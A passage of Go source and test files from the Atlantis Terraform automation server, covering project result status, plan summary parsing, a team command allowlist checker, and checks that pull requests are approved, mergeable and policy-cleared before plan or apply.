policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Passed: true, Approvals: 0, }, }, policyClearedExp: true, }, { description: "single policy set, fully approved", policySetsConfig: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 1, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Passed: false, Approvals: 1, }, }, policyClearedExp: true, }, { description: "multiple policy sets, different states.", policySetsConfig: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 2, }, { Name: "policy2", ApproveCount: 1, }, { Name: "policy3", ApproveCount: 1, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Passed: false, Approvals: 0, }, { PolicySetName: "policy2", Passed: false, Approvals: 1, }, { PolicySetName: "policy3", Passed: true, Approvals: 0, }, }, policyClearedExp: false, }, { description: "multiple policy sets, all cleared.", policySetsConfig: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 2, }, { Name: "policy2", ApproveCount: 1, }, { Name: "policy3", ApproveCount: 1, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Passed: false, Approvals: 2, }, { PolicySetName: "policy2", Passed: false, Approvals: 1, }, { PolicySetName: "policy3", Passed: true, Approvals: 0, }, }, policyClearedExp: true, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { pcs := command.ProjectContext{ ProjectPolicyStatus: c.policySetStatus, PolicySets: c.policySetsConfig, } Equals(t, c.policyClearedExp, pcs.PolicyCleared()) }) } } ================================================ FILE: server/events/command/project_result.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command import ( "github.com/runatlantis/atlantis/server/events/models" ) // ProjectResult is the result of executing a plan/policy_check/apply for a specific project. type ProjectResult struct { ProjectCommandOutput Command Name SubCommand string RepoRelDir string Workspace string ProjectName string SilencePRComments []string } // ProjectCommandOutput is the output of a plan/policy_check/apply for a specific project. type ProjectCommandOutput struct { Error error Failure string PlanSuccess *models.PlanSuccess PolicyCheckResults *models.PolicyCheckResults ApplySuccess string VersionSuccess string ImportSuccess *models.ImportSuccess StateRmSuccess *models.StateRmSuccess } // CommitStatus returns the vcs commit status of this project result. func (p ProjectResult) CommitStatus() models.CommitStatus { if p.Error != nil { return models.FailedCommitStatus } if p.Failure != "" { return models.FailedCommitStatus } return models.SuccessCommitStatus } // PolicyStatus returns the approval status of policy sets of this project result. func (p ProjectResult) PolicyStatus() []models.PolicySetStatus { var policyStatuses []models.PolicySetStatus if p.PolicyCheckResults != nil { for _, policySet := range p.PolicyCheckResults.PolicySetResults { policyStatus := models.PolicySetStatus{ PolicySetName: policySet.PolicySetName, Passed: policySet.Passed, Approvals: policySet.CurApprovals, } policyStatuses = append(policyStatuses, policyStatus) } } return policyStatuses } // PlanStatus returns the plan status. func (p ProjectResult) PlanStatus() models.ProjectPlanStatus { switch p.Command { case Plan: if p.Error != nil { return models.ErroredPlanStatus } else if p.Failure != "" { return models.ErroredPlanStatus } else if p.PlanSuccess.NoChanges() { return models.PlannedNoChangesPlanStatus } return models.PlannedPlanStatus case PolicyCheck, ApprovePolicies: if p.Error != nil { return models.ErroredPolicyCheckStatus } else if p.Failure != "" { return models.ErroredPolicyCheckStatus } return models.PassedPolicyCheckStatus case Apply: if p.Error != nil { return models.ErroredApplyStatus } else if p.Failure != "" { return models.ErroredApplyStatus } return models.AppliedPlanStatus } panic("PlanStatus() missing a combination") } // IsSuccessful returns true if this project result had no errors. func (p ProjectResult) IsSuccessful() bool { return p.PlanSuccess != nil || (p.PolicyCheckResults != nil && p.Error == nil && p.Failure == "") || p.ApplySuccess != "" } ================================================ FILE: server/events/command/project_result_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command_test import ( "errors" "testing" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" ) func TestProjectResult_IsSuccessful(t *testing.T) { cases := map[string]struct { pr command.ProjectResult exp bool }{ "plan success": { command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, }, }, true, }, "policy_check success": { command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{}, }, }, true, }, "apply success": { command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, true, }, "failure": { command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, false, }, "error": { command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, false, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { Equals(t, c.exp, c.pr.IsSuccessful()) }) } } func TestProjectResult_PlanStatus(t *testing.T) { cases := []struct { p command.ProjectResult expStatus models.ProjectPlanStatus }{ { p: command.ProjectResult{ Command: command.Plan, ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("err"), }, }, expStatus: models.ErroredPlanStatus, }, { p: command.ProjectResult{ Command: command.Plan, ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, expStatus: models.ErroredPlanStatus, }, { p: command.ProjectResult{ Command: command.Plan, ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, }, }, expStatus: models.PlannedPlanStatus, }, { p: command.ProjectResult{ Command: command.Plan, ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", }, }, }, expStatus: models.PlannedNoChangesPlanStatus, }, { p: command.ProjectResult{ Command: command.Apply, ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("err"), }, }, expStatus: models.ErroredApplyStatus, }, { p: command.ProjectResult{ Command: command.Apply, ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, expStatus: models.ErroredApplyStatus, }, { p: command.ProjectResult{ Command: command.Apply, ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, expStatus: models.AppliedPlanStatus, }, { p: command.ProjectResult{ Command: command.PolicyCheck, ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{}, }, }, expStatus: models.PassedPolicyCheckStatus, }, { p: command.ProjectResult{ Command: command.PolicyCheck, ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, expStatus: models.ErroredPolicyCheckStatus, }, { p: command.ProjectResult{ Command: command.ApprovePolicies, ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{}, }, }, expStatus: models.PassedPolicyCheckStatus, }, { p: command.ProjectResult{ Command: command.ApprovePolicies, ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, expStatus: models.ErroredPolicyCheckStatus, }, } for _, c := range cases { t.Run(c.expStatus.String(), func(t *testing.T) { Equals(t, c.expStatus, c.p.PlanStatus()) }) } } func TestPlanSuccess_Summary(t *testing.T) { cases := []struct { p command.ProjectResult expResult string }{ { p: command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.`, }, }, }, expResult: "Plan: 0 to add, 0 to change, 1 to destroy.", }, { p: command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: No changes. Infrastructure is up-to-date.`, }, }, }, expResult: "No changes. Infrastructure is up-to-date.", }, { p: command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: ` Note: Objects have changed outside of Terraform Terraform detected the following changes made outside of Terraform since the last "terraform apply": No changes. Your infrastructure matches the configuration.`, }, }, }, expResult: "\n**Note: Objects have changed outside of Terraform**\nNo changes. Your infrastructure matches the configuration.", }, { p: command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: ` Note: Objects have changed outside of Terraform Terraform detected the following changes made outside of Terraform since the last "terraform apply": An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.`, }, }, }, expResult: "\n**Note: Objects have changed outside of Terraform**\nPlan: 0 to add, 0 to change, 1 to destroy.", }, { p: command.ProjectResult{ ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: `No match, expect empty`, }, }, }, expResult: "", }, } for _, c := range cases { t.Run(c.expResult, func(t *testing.T) { Equals(t, c.expResult, c.p.PlanSuccess.Summary()) }) } } var Summary string func BenchmarkPlanSuccess_Summary(b *testing.B) { var s string fixtures := map[string]string{ "changes": ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.`, "no changes": ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: No changes. Infrastructure is up-to-date.`, "changes outside Terraform": ` Note: Objects have changed outside of Terraform Terraform detected the following changes made outside of Terraform since the last "terraform apply": No changes. Your infrastructure matches the configuration.`, "changes and changes outside": ` Note: Objects have changed outside of Terraform Terraform detected the following changes made outside of Terraform since the last "terraform apply": An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.`, "empty summary, no matches": `No match, expect empty`, } for name, output := range fixtures { p := &models.PlanSuccess{ TerraformOutput: output, } b.Run(name, func(b *testing.B) { b.ReportAllocs() for i := 0; i < b.N; i++ { s = p.Summary() } Summary = s }) } } ================================================ FILE: server/events/command/result.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command // Result is the result of running a Command. type Result struct { Error error Failure string ProjectResults []ProjectResult // PlansDeleted is true if all plans created during this command were // deleted. This happens if automerging is enabled and one project has an // error since automerging requires all plans to succeed. PlansDeleted bool } // HasErrors returns true if there were any errors during the execution, // even if it was only in one project. func (c Result) HasErrors() bool { if c.Error != nil || c.Failure != "" { return true } for _, r := range c.ProjectResults { if !r.IsSuccessful() { return true } } return false } ================================================ FILE: server/events/command/result_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command_test import ( "errors" "testing" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" ) func TestCommandResult_HasErrors(t *testing.T) { cases := map[string]struct { cr command.Result exp bool }{ "error": { cr: command.Result{ Error: errors.New("err"), }, exp: true, }, "failure": { cr: command.Result{ Failure: "failure", }, exp: true, }, "empty results list": { cr: command.Result{ ProjectResults: []command.ProjectResult{}, }, exp: false, }, "successful plan": { cr: command.Result{ ProjectResults: []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, }, }, }, }, exp: false, }, "successful apply": { cr: command.Result{ ProjectResults: []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, }, }, exp: false, }, "single errored project": { cr: command.Result{ ProjectResults: []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("err"), }, }, }, }, exp: true, }, "single failed project": { cr: command.Result{ ProjectResults: []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }, }, exp: true, }, "two successful projects": { cr: command.Result{ ProjectResults: []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, }, }, { ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, }, }, exp: false, }, "one successful, one failed project": { cr: command.Result{ ProjectResults: []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, }, }, { ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failed", }, }, }, }, exp: true, }, } for descrip, c := range cases { t.Run(descrip, func(t *testing.T) { Equals(t, c.exp, c.cr.HasErrors()) }) } } ================================================ FILE: server/events/command/scope_tags.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command import ( "reflect" "regexp" "strings" ) type ProjectScopeTags struct { BaseRepo string PrNumber string Project string ProjectPath string TerraformDistribution string TerraformVersion string Workspace string } func (s ProjectScopeTags) Loadtags() map[string]string { tags := make(map[string]string) v := reflect.ValueOf(s) t := v.Type() for i := 0; i < v.NumField(); i++ { tags[toSnakeCase(t.Field(i).Name)] = v.Field(i).String() } return tags } func toSnakeCase(str string) string { var matchFirstCap = regexp.MustCompile("(.)([A-Z][a-z]+)") var matchAllCap = regexp.MustCompile("([a-z0-9])([A-Z])") snake := matchFirstCap.ReplaceAllString(str, "${1}_${2}") snake = matchAllCap.ReplaceAllString(snake, "${1}_${2}") return strings.ToLower(snake) } ================================================ FILE: server/events/command/team_allowlist_checker.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command import ( "strings" "github.com/runatlantis/atlantis/server/events/models" ) // Wildcard matches all teams and all commands const wildcard = "*" // mapOfStrings is an alias for map[string]string type mapOfStrings map[string]string type TeamAllowlistChecker interface { // HasRules returns true if the checker has rules defined HasRules() bool // IsCommandAllowedForTeam determines if the specified team can perform the specified action IsCommandAllowedForTeam(ctx models.TeamAllowlistCheckerContext, team, command string) bool // IsCommandAllowedForAnyTeam determines if any of the specified teams can perform the specified action IsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool // AllTeams returns all teams configured in the allowlist AllTeams() []string } // DefaultTeamAllowlistChecker implements checking the teams and the operations that the members // of a particular team are allowed to perform type DefaultTeamAllowlistChecker struct { rules []mapOfStrings } // NewTeamAllowlistChecker constructs a new checker func NewTeamAllowlistChecker(allowlist string) (*DefaultTeamAllowlistChecker, error) { var rules []mapOfStrings pairs := strings.Split(allowlist, ",") if pairs[0] != "" { for _, pair := range pairs { values := strings.Split(pair, ":") team := strings.TrimSpace(values[0]) command := strings.TrimSpace(values[1]) m := mapOfStrings{team: command} rules = append(rules, m) } } return &DefaultTeamAllowlistChecker{ rules: rules, }, nil } func (checker *DefaultTeamAllowlistChecker) HasRules() bool { return len(checker.rules) > 0 } // IsCommandAllowedForTeam returns true if the team is allowed to execute the command // and false otherwise. func (checker *DefaultTeamAllowlistChecker) IsCommandAllowedForTeam(_ models.TeamAllowlistCheckerContext, team string, command string) bool { for _, rule := range checker.rules { for key, value := range rule { if (key == wildcard || strings.EqualFold(key, team)) && (value == wildcard || strings.EqualFold(value, command)) { return true } } } return false } // IsCommandAllowedForAnyTeam returns true if any of the teams is allowed to execute the command // and false otherwise. func (checker *DefaultTeamAllowlistChecker) IsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool { if len(teams) == 0 { for _, rule := range checker.rules { for key, value := range rule { if (key == wildcard) && (value == wildcard || strings.EqualFold(value, command)) { return true } } } } else { for _, t := range teams { if checker.IsCommandAllowedForTeam(ctx, t, command) { return true } } } return false } // AllTeams returns all teams configured in the allowlist func (checker *DefaultTeamAllowlistChecker) AllTeams() []string { var teamNames []string for _, rule := range checker.rules { for key := range rule { teamNames = append(teamNames, key) } } return teamNames } ================================================ FILE: server/events/command/team_allowlist_checker_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command_test import ( "testing" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" ) func TestNewTeamAllowListChecker(t *testing.T) { allowlist := `bob:plan, dave:apply` _, err := command.NewTeamAllowlistChecker(allowlist) Ok(t, err) } func TestNewTeamAllowListCheckerEmpty(t *testing.T) { allowlist := `` checker, err := command.NewTeamAllowlistChecker(allowlist) Ok(t, err) Equals(t, false, checker.HasRules()) } func TestIsCommandAllowedForTeam(t *testing.T) { allowlist := `bob:plan, dave:apply, connie:plan, connie:apply` checker, err := command.NewTeamAllowlistChecker(allowlist) Ok(t, err) Equals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "connie", "plan")) Equals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "connie", "apply")) Equals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "dave", "apply")) Equals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "bob", "plan")) Equals(t, false, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "bob", "apply")) } func TestIsCommandAllowedForAnyTeam(t *testing.T) { allowlist := `alpha:plan,beta:release,*:unlock,nobody:*` teams := []string{`alpha`, `beta`} checker, err := command.NewTeamAllowlistChecker(allowlist) Ok(t, err) Equals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `plan`)) Equals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `release`)) Equals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `unlock`)) Equals(t, false, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `noop`)) } ================================================ FILE: server/events/command_requirement_handler.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" ) //go:generate pegomock generate --package mocks -o mocks/mock_command_requirement_handler.go CommandRequirementHandler type CommandRequirementHandler interface { ValidateProjectDependencies(ctx command.ProjectContext) (string, error) ValidatePlanProject(repoDir string, ctx command.ProjectContext) (string, error) ValidateApplyProject(repoDir string, ctx command.ProjectContext) (string, error) ValidateImportProject(repoDir string, ctx command.ProjectContext) (string, error) } type DefaultCommandRequirementHandler struct { WorkingDir WorkingDir } func (a *DefaultCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) (failure string, err error) { for _, dependOnProject := range ctx.DependsOn { for _, project := range ctx.PullStatus.Projects { if project.ProjectName == dependOnProject && project.Status != models.AppliedPlanStatus && project.Status != models.PlannedNoChangesPlanStatus { return fmt.Sprintf("Can't apply your project unless you apply its dependencies: [%s]", project.ProjectName), nil } } } return "", nil } func (a *DefaultCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) (failure string, err error) { return a.validateCommandRequirement(repoDir, ctx, command.Plan, ctx.PlanRequirements) } func (a *DefaultCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) (failure string, err error) { return a.validateCommandRequirement(repoDir, ctx, command.Apply, ctx.ApplyRequirements) } func (a *DefaultCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) (failure string, err error) { return a.validateCommandRequirement(repoDir, ctx, command.Import, ctx.ImportRequirements) } func (a *DefaultCommandRequirementHandler) validateCommandRequirement(repoDir string, ctx command.ProjectContext, cmd command.Name, requirements []string) (failure string, err error) { for _, req := range requirements { switch req { case raw.ApprovedRequirement: if !ctx.PullReqStatus.ApprovalStatus.IsApproved { return fmt.Sprintf("Pull request must be approved according to the project's approval rules before running %s.", cmd), nil } // this should come before mergeability check since mergeability is a superset of this check. case valid.PoliciesPassedCommandReq: // We should rely on this function instead of plan status, since plan status after a failed apply will not carry the policy error over. if !ctx.PolicyCleared() { return fmt.Sprintf("All policies must pass for project before running %s.", cmd), nil } case raw.MergeableRequirement: if !ctx.PullReqStatus.MergeableStatus.IsMergeable { suffix := "" if ctx.PullReqStatus.MergeableStatus.Reason != "" { suffix = fmt.Sprintf(" (%s)", ctx.PullReqStatus.MergeableStatus.Reason) } return fmt.Sprintf("Pull request must be mergeable before running %s%s.", cmd, suffix), nil } case raw.UnDivergedRequirement: if a.WorkingDir.HasDiverged(ctx.Log, repoDir) { return fmt.Sprintf("Default branch must be rebased onto pull request before running %s.", cmd), nil } } } // Passed all requirements configured. return "", nil } ================================================ FILE: server/events/command_requirement_handler_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "fmt" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/stretchr/testify/assert" ) func TestAggregateApplyRequirements_ValidatePlanProject(t *testing.T) { repoDir := "repoDir" fullRequirements := []string{ raw.ApprovedRequirement, valid.PoliciesPassedCommandReq, raw.MergeableRequirement, raw.UnDivergedRequirement, } tests := []struct { name string ctx command.ProjectContext setup func(workingDir *mocks.MockWorkingDir) wantFailure string wantErr assert.ErrorAssertionFunc }{ { name: "pass no requirements", ctx: command.ProjectContext{}, wantErr: assert.NoError, }, { name: "pass full requirements", ctx: command.ProjectContext{ PlanRequirements: fullRequirements, PullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: true}, MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, ProjectPlanStatus: models.PassedPolicyCheckStatus, }, setup: func(workingDir *mocks.MockWorkingDir) { When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false) }, wantErr: assert.NoError, }, { name: "fail by no approved", ctx: command.ProjectContext{ PlanRequirements: []string{raw.ApprovedRequirement}, PullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: false}, }, }, wantFailure: "Pull request must be approved according to the project's approval rules before running plan.", wantErr: assert.NoError, }, { name: "fail by no mergeable", ctx: command.ProjectContext{ PlanRequirements: []string{raw.MergeableRequirement}, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: false}, }, }, wantFailure: "Pull request must be mergeable before running plan.", wantErr: assert.NoError, }, { name: "fail by no mergeable with reason", ctx: command.ProjectContext{ PlanRequirements: []string{raw.MergeableRequirement}, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{ IsMergeable: false, Reason: "some reason", }, }, }, wantFailure: "Pull request must be mergeable before running plan (some reason).", wantErr: assert.NoError, }, { name: "fail by diverged", ctx: command.ProjectContext{ PlanRequirements: []string{raw.UnDivergedRequirement}, }, setup: func(workingDir *mocks.MockWorkingDir) { When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true) }, wantFailure: "Default branch must be rebased onto pull request before running plan.", wantErr: assert.NoError, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { RegisterMockTestingT(t) workingDir := mocks.NewMockWorkingDir() a := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir} if tt.setup != nil { tt.setup(workingDir) } gotFailure, err := a.ValidatePlanProject(repoDir, tt.ctx) if !tt.wantErr(t, err, fmt.Sprintf("ValidatePlanProject(%v, %v)", repoDir, tt.ctx)) { return } assert.Equalf(t, tt.wantFailure, gotFailure, "ValidatePlanProject(%v, %v)", repoDir, tt.ctx) }) } } func TestAggregateApplyRequirements_ValidateApplyProject(t *testing.T) { repoDir := "repoDir" fullRequirements := []string{ raw.ApprovedRequirement, valid.PoliciesPassedCommandReq, raw.MergeableRequirement, raw.UnDivergedRequirement, } tests := []struct { name string ctx command.ProjectContext setup func(workingDir *mocks.MockWorkingDir) wantFailure string wantErr assert.ErrorAssertionFunc }{ { name: "pass no requirements", ctx: command.ProjectContext{}, wantErr: assert.NoError, }, { name: "pass full requirements", ctx: command.ProjectContext{ ApplyRequirements: fullRequirements, PullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: true}, MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, ProjectPlanStatus: models.PassedPolicyCheckStatus, }, setup: func(workingDir *mocks.MockWorkingDir) { When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false) }, wantErr: assert.NoError, }, { name: "fail by no approved", ctx: command.ProjectContext{ ApplyRequirements: []string{raw.ApprovedRequirement}, PullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: false}, }, }, wantFailure: "Pull request must be approved according to the project's approval rules before running apply.", wantErr: assert.NoError, }, { name: "fail by no policy passed", ctx: command.ProjectContext{ ApplyRequirements: []string{valid.PoliciesPassedCommandReq}, ProjectPlanStatus: models.ErroredPolicyCheckStatus, ProjectPolicyStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Passed: false, Approvals: 0, }, }, PolicySets: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 1, }, }, }, }, wantFailure: "All policies must pass for project before running apply.", wantErr: assert.NoError, }, { name: "fail by no mergeable", ctx: command.ProjectContext{ ApplyRequirements: []string{raw.MergeableRequirement}, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: false}, }, }, wantFailure: "Pull request must be mergeable before running apply.", wantErr: assert.NoError, }, { name: "fail by diverged", ctx: command.ProjectContext{ ApplyRequirements: []string{raw.UnDivergedRequirement}, }, setup: func(workingDir *mocks.MockWorkingDir) { When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true) }, wantFailure: "Default branch must be rebased onto pull request before running apply.", wantErr: assert.NoError, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { RegisterMockTestingT(t) workingDir := mocks.NewMockWorkingDir() a := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir} if tt.setup != nil { tt.setup(workingDir) } gotFailure, err := a.ValidateApplyProject(repoDir, tt.ctx) if !tt.wantErr(t, err, fmt.Sprintf("ValidateApplyProject(%v, %v)", repoDir, tt.ctx)) { return } assert.Equalf(t, tt.wantFailure, gotFailure, "ValidateApplyProject(%v, %v)", repoDir, tt.ctx) }) } } func TestRequirements_ValidateProjectDependencies(t *testing.T) { tests := []struct { name string ctx command.ProjectContext setup func(workingDir *mocks.MockWorkingDir) wantFailure string wantErr assert.ErrorAssertionFunc }{ { name: "pass no dependencies", ctx: command.ProjectContext{}, wantErr: assert.NoError, }, { name: "pass all dependencies applied", ctx: command.ProjectContext{ DependsOn: []string{"project1"}, PullStatus: &models.PullStatus{ Projects: []models.ProjectStatus{ { ProjectName: "project1", Status: models.AppliedPlanStatus, }, }, }, }, wantErr: assert.NoError, }, { name: "Fail all dependencies are not applied", ctx: command.ProjectContext{ DependsOn: []string{"project1", "project2"}, PullStatus: &models.PullStatus{ Projects: []models.ProjectStatus{ { ProjectName: "project1", Status: models.PlannedPlanStatus, }, { ProjectName: "project2", Status: models.ErroredApplyStatus, }, }, }, }, wantFailure: "Can't apply your project unless you apply its dependencies: [project1]", wantErr: assert.NoError, }, { name: "Fail one of dependencies is not applied", ctx: command.ProjectContext{ DependsOn: []string{"project1", "project2"}, PullStatus: &models.PullStatus{ Projects: []models.ProjectStatus{ { ProjectName: "project1", Status: models.AppliedPlanStatus, }, { ProjectName: "project2", Status: models.ErroredApplyStatus, }, }, }, }, wantFailure: "Can't apply your project unless you apply its dependencies: [project2]", wantErr: assert.NoError, }, { name: "Should not fail if one of dependencies is not applied but it has no changes to apply", ctx: command.ProjectContext{ DependsOn: []string{"project1", "project2"}, PullStatus: &models.PullStatus{ Projects: []models.ProjectStatus{ { ProjectName: "project1", Status: models.AppliedPlanStatus, }, { ProjectName: "project2", Status: models.PlannedNoChangesPlanStatus, }, }, }, }, wantErr: assert.NoError, }, { name: "In the case of more than one dependency, should not continue to check dependencies if one of them is not in applied status", ctx: command.ProjectContext{ DependsOn: []string{"project1", "project2"}, PullStatus: &models.PullStatus{ Projects: []models.ProjectStatus{ { ProjectName: "project1", Status: models.AppliedPlanStatus, }, { ProjectName: "project2", Status: models.ErroredApplyStatus, }, { ProjectName: "project3", Status: models.PlannedPlanStatus, }, }, }, }, wantFailure: "Can't apply your project unless you apply its dependencies: [project2]", wantErr: assert.NoError, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { RegisterMockTestingT(t) workingDir := mocks.NewMockWorkingDir() a := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir} gotFailure, err := a.ValidateProjectDependencies(tt.ctx) if !tt.wantErr(t, err, fmt.Sprintf("ValidateProjectDependencies(%v)", tt.ctx)) { return } assert.Equalf(t, tt.wantFailure, gotFailure, "ValidateProjectDependencies(%v)", tt.ctx) }) } } func TestAggregateApplyRequirements_ValidateImportProject(t *testing.T) { repoDir := "repoDir" fullRequirements := []string{ raw.ApprovedRequirement, raw.MergeableRequirement, raw.UnDivergedRequirement, } tests := []struct { name string ctx command.ProjectContext setup func(workingDir *mocks.MockWorkingDir) wantFailure string wantErr assert.ErrorAssertionFunc }{ { name: "pass no requirements", ctx: command.ProjectContext{}, wantErr: assert.NoError, }, { name: "pass full requirements", ctx: command.ProjectContext{ ImportRequirements: fullRequirements, PullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: true}, 